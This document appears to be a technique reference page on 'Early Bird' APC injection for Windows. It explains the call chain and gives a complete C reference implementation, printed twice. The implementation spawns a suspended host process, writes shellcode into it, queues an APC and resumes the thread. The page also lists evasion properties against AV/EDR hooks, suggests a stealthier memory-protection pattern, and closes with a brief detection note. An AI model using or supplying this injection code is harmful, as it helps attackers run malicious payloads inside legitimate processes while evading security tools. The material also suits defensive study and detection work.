Early Bird APC Injection
Overview
Early Bird is a variant of APC injection that queues the payload APC to a process’s primary
thread while the thread is still suspended and executing ntdll initialisation. When ResumeThread
is called, the thread enters an alertable state during LdrInitializeThunk, the APC queue drains,
and the shellcode runs before the process entry point is ever reached.
The evasion advantage over classic APC injection is timing: the payload executes before most AV/EDR hooks are in place (many hooks are installed during or after process initialisation) and before the host process has made any suspicious API calls that would draw scrutiny to its thread state.
“Early Bird” became a named technique after a 2018 CyberArk blog post. The underlying primitive
— QueueUserAPC to a suspended thread — has existed since Windows XP. The name has stuck in
tooling and detection rule naming.
The call chain
- 1CreateProcessW(CREATE_SUSPENDED)Spawn a benign host binary suspended so its primary thread has not yet entered the alertable wait.
- 2VirtualAllocEx + WriteProcessMemoryMap shellcode into the remote process address space.
- 3QueueUserAPC(shellcode_addr, hThread)Queue an APC to the primary thread while it is still in its loader initialisation.
- 4ResumeThreadThe thread enters its first alertable state during ntdll initialisation and drains the APC queue — shellcode runs before the process entry point.
Reference implementation
#include <windows.h>
// Minimal msfvenom/custom shellcode placeholder
extern const unsigned char sc[];
extern const size_t sc_len;
void early_bird_inject(const wchar_t *host_binary) {
STARTUPINFOW si = { sizeof si };
PROCESS_INFORMATION pi = {0};
// 1. Spawn the host binary in a suspended state
if (!CreateProcessW(host_binary, NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
return;
// 2. Allocate RX memory and write shellcode into the remote process
PVOID remote = VirtualAllocEx(pi.hProcess, NULL, sc_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remote, sc, sc_len, NULL);
// 3. Queue the APC to the primary (and only) thread while it is suspended
// The thread will drain this APC during ntdll init before reaching the EP
QueueUserAPC((PAPCFUNC)remote, pi.hThread, 0);
// 4. Resume -- shellcode fires during LdrInitializeThunk alertable state
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}#include <windows.h>
// Minimal msfvenom/custom shellcode placeholder
extern const unsigned char sc[];
extern const size_t sc_len;
void early_bird_inject(const wchar_t *host_binary) {
STARTUPINFOW si = { sizeof si };
PROCESS_INFORMATION pi = {0};
// 1. Spawn the host binary in a suspended state
if (!CreateProcessW(host_binary, NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
return;
// 2. Allocate RX memory and write shellcode into the remote process
PVOID remote = VirtualAllocEx(pi.hProcess, NULL, sc_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remote, sc, sc_len, NULL);
// 3. Queue the APC to the primary (and only) thread while it is suspended
// The thread will drain this APC during ntdll init before reaching the EP
QueueUserAPC((PAPCFUNC)remote, pi.hThread, 0);
// 4. Resume -- shellcode fires during LdrInitializeThunk alertable state
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}Allocating PAGE_EXECUTE_READWRITE in one shot is the loudest part of this sample. The
cleaner pattern is RW → write → VirtualProtectEx to RX before queuing the APC.
Why it works
Windows APC delivery requires the target thread to enter an “alertable” wait state. Normal APC
injection targets existing threads that call WaitForSingleObjectEx, SleepEx, or similar.
Early Bird exploits the fact that LdrInitializeThunk — the ntdll function that performs
loader initialisation — internally calls NtTestAlert, which drains the APC queue. This happens
automatically when a suspended thread is resumed, making the primary thread of any
CREATE_SUSPENDED process an implicit APC target on ResumeThread.
Evasion properties
| Property | Notes |
|---|---|
| Hooks not yet installed | Many EDR hooks run in DLL_PROCESS_ATTACH; shellcode runs before that |
| No remote thread creation | Avoids CreateRemoteThread — uses APC instead |
| Legitimate host binary | Process token, path, and signature all belong to the host |
| Short detection window | Process exists for milliseconds before APC executes |
The technique still produces a QueueUserAPC call to a remote process, which ETW-TI records
regardless of user-mode hook state. The timing advantage is real but not absolute.
Detection
The most reliable signal is correlating process creation with CREATE_SUSPENDED against an
immediate QueueUserAPC to the new process’s primary thread, followed by ResumeThread —
all within a single parent process’s lifetime, typically within a few milliseconds.